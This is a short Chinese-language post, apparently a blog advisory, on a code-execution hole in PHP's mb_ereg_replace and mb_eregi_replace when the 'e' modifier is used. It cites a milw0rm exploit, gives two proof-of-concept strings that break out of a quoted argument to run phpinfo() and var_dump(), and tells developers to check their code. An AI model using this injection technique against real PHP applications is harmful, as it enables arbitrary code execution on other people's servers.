mb_ereg(i)_replace() 执行任意代码的漏洞

这个漏洞说大也大,说小也小。大是因为真得可以通过注入的方式让漏洞代码执行任意代码。小是因为产生漏洞的环境还是比较苛刻的。 来源于此:http://milw0rm.com/exploits/8641 当最后一个参数设置为“e”,也就是将替换的内容作为 PHP 代码执行的时候,漏洞就产生了。 例如: function hi80vul() {} $str = ‘\’, phpinfo(), \”; mb_ereg_replace(‘^(.*)$’, ‘hi80vul(\’\1\’)’, $str, ‘e’); 又例如: function hi80vul() {} $str = ‘\’, var_dump(get_loaded_extensions()), \”; mb_ereg_replace(‘^(.*)$’, ‘hi80vul(\’\1\’)’, $str, ‘e’); 如果有在代码中使用过 mb_ereg_replace 和 mb_eregi_replace,以及参数“e”,那就赶紧检查一下是否有这样的安全隐患吧。